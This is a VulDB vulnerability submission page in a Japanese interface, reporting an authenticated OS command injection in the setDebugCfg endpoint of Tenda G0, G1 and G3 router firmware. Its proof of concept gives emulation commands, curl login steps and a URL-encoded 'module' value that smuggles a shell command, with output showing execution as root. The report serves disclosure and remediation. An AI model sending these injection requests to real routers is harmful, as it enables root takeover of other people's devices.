提出 #894234: Tenda G0, G1, and G3 AP management router family `US_G0-POEV1.0RE_V15.11.0.69039_CN_TDC01`, `US_G0-PoEV1.0RE_V15.11.0.55876_TDC`, `US_G0V1.0RE_V15.11.0.55876_TDC`, `US_G1V1.0&G3 OS Command Injection情報

タイトルTenda G0, G1, and G3 AP management router family `US_G0-POEV1.0RE_V15.11.0.69039_CN_TDC01`, `US_G0-PoEV1.0RE_V15.11.0.55876_TDC`, `US_G0V1.0RE_V15.11.0.55876_TDC`, `US_G1V1.0&G3 OS Command Injection
説明Tenda G0/G1/G3 setDebugCfg authenticated command injection ## 2. Vulnerability Summary - **Internal Tracking ID:** TENDA-G0-SETDEBUGCFG-CMD-001 - **Vulnerability Class:** CWE-78 - **Vulnerability Type:** OS Command Injection - **Severity:** 8.8 (High) - **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - **Attack Prerequisites:** Authenticated administrator or initialized first-setup session - **Verification Status:** CONFIRMED - **Verification Evidence:** QEMU HTTP service reproduction and root id sentinels across G0/G1/G3 builds ## 3. Affected Vendor / Product - **Vendor:** Tenda - **Product:** G0, G1, and G3 AP management router family - **Affected Version / Firmware:** US_G0/G1/G3 firmware variants listed in report - **Affected Component:** bin/httpd GoAhead handler /goform/setDebugCfg module parameter - **Architecture:** MIPS/ARM variants ## 4. Description | Field | Value | | ------------------ | ------------------------------------------------------------ | | VulnDB ID | Pending assignment | | Vendor | Tenda | | Product | G0, G1, and G3 AP management router family | | Affected Firmware | `US_G0-POEV1.0RE_V15.11.0.69039_CN_TDC01`, `US_G0-PoEV1.0RE_V15.11.0.55876_TDC`, `US_G0V1.0RE_V15.11.0.55876_TDC`, `US_G1V1.0&G3V3.0br_V15.11.0.179502_CN_TDC`, `G3V3.0br_V15.11.0.20(10700)_CN_TDC` | | Affected Component | `bin/httpd` GoAhead handler `/goform/setDebugCfg` | | Vulnerability Type | OS command injection | | CWE | CWE-78 | | CVSS v3.1 | 8.8 High | | CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | Discovery Source | FirmRec batches `tenda_new_all_closed_022_of_046` and `tenda_new_all_closed_023_of_046`, manually confirmed | ``` inout/reports/tenda_new_all_manual/g0_debugcfg_69039_callers.json inout/reports/tenda_new_all_manual/g0_debugcfg_55876_callers.jsonl inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/69039_debug_body.txt inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/69039_sentinel.txt inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/55876_debug_body.txt inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/55876_sentinel.txt inout/reports/tenda_new_all_manual/g_series_debugcfg_evidence_20260529/g0_55876_debug_body.txt inout/reports/tenda_new_all_manual/g_series_debugcfg_evidence_20260529/g0_55876_sentinel.txt inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g1_179502_debug_cookie_body.txt inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g1_179502_sentinel.txt inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g3_1511020_debug_cookie_body.txt inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g3_1511020_sentin ``` ## 6. Proof of Concept / Reproduction The following steps reproduce the issue against the emulated firmware service and avoid relying on external summary attachments. 1. Extract the firmware root filesystem and run the MIPS big-endian `httpd` service on a local test port: ```bash qemu-mips-static -L ./rootfs ./rootfs/bin/httpd ./rootfs/webroot_ro 127.0.0.1:18080 ``` 2. Initialize the first-setup password, matching the product web UI JSON request. `YWRtaW4xMjM=` is base64 for `admin123`. ```bash curl -c cookies.txt -b cookies.txt \ -H 'Content-Type: application/json' \ --data-binary '{"setQuickCfgWifiAndLogin":{"wifiSSID":"FirmRec","wifiPassword":"FirmRec123","sysPassword":"YWRtaW4xMjM=","wifiSecurity":"psk2","bLanguage":"en"}}' \ 'http://127.0.0.1:18080/goform/module' ``` 3. Authenticate with the configured password. ```bash curl -c cookies.txt -b cookies.txt \ -H 'Content-Type: application/json' \ --data-binary '{"auth":{"password":"YWRtaW4xMjM="}}' \ 'http://127.0.0.1:18080/goform/module' ``` 4. Send the vulnerable request. The injected `id` command writes a root-execution sentinel. ```bash curl -c cookies.txt -b cookies.txt \ 'http://127.0.0.1:18080/goform/setDebugCfg?enable=1&level=2&module=x%3Bid%3E%2Ftmp%2FTENDA_G0_DEBUGCFG_PWN%3B%23' ``` 5. Observe the HTTP response and created sentinel: ```text HTTP response body: echo enable=1 level=2 > /var/debug/x;id>/tmp/TENDA_G0_DEBUGCFG_PWN;# /tmp/TENDA_G0_DEBUGCFG_PWN: uid=0(root) gid=0(root) groups=0(root) ``` The same procedure was repeated successfully on `US_G0-PoEV1.0RE_V15.11.0.55876_TDC` using port `18081` and sentinel `/tmp/TENDA_G0_55876_DEBUGCFG_PWN`, and on non-PoE `US_G0V1.0RE_V15.11.0.55876_TDC` using port `18100` and sentinel `/tmp/TENDA_G0_NONPOE_DEBUGCFG_PWN`. For the ARM G1/G3 images, the product web UI uses a form-encoded first-login flow. The same vulnerable endpoint was reproduced after initializing the administrator password with `/goform/initAdminUser` and authenticating through `/login/Auth`: ```bash qemu-arm-static -L ./rootfs ./rootfs/bin/httpd ./rootfs/webroot_ro 127.0.0.1:18201 curl -c cookies.txt -b cookies.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'sysUserPwd=YWRtaW4xMjM=' \ 'http://127.0.0.1:18201/goform/initAdminUser' curl -c cookies.txt -b cookies.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'password=YWRtaW4xMjM=' \ 'http://127.0.0.1:18201/login/Auth' curl -c cookies.txt -b cookies.txt \ 'http://127.0.0.1:18201/goform/setDebugCfg?enable=1&level=2&module=x%3Bid%3E%2Ftmp%2FTENDA_G1_179502_DEBUGCFG_RECHECK%3B%23' ``` The same ARM flow created root `id` sentinels on `US_G1V1.0&G3V3.0br_V15.11.0.179502_CN_TDC` and `G3V3.0br_V15.11.0.20(10700)_CN_TDC`. ## 7. Security Impact Successful exploitation allows an authenticated administrator to execute arbitrary shell commands as root on the router. This can lead to full device compromise, persistent configuration modification, traffic interception, and denial of service. ## 8. Remediation Recommendation Do not build shell commands with raw HTTP parameters. Replace `system()` with direct file I/O for debug configuration, validate `module` against an allowlist of known module names, and reject shell metacharacters such as `;`, `&`, `|`, `` ` ``, `$`, `>`, `<`, and newline characters.
ソース⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-G0-SETDEBUGCFG-CMD-001-vulndb.md
ユーザー
 ST4R0003 (UID 99608)
送信2026年07月17日 19:04 (1 月 ago)
モデレーション2026年08月30日 19:37 (1 month later)
ステータス重複
VulDBエントリ173150 [Tenda G0/G1/G3 action/setDebugCfg formSetDebugCfg 特権昇格]
ポイント0

Want to stay up to date on a daily basis?

Enable the mail alert feature now!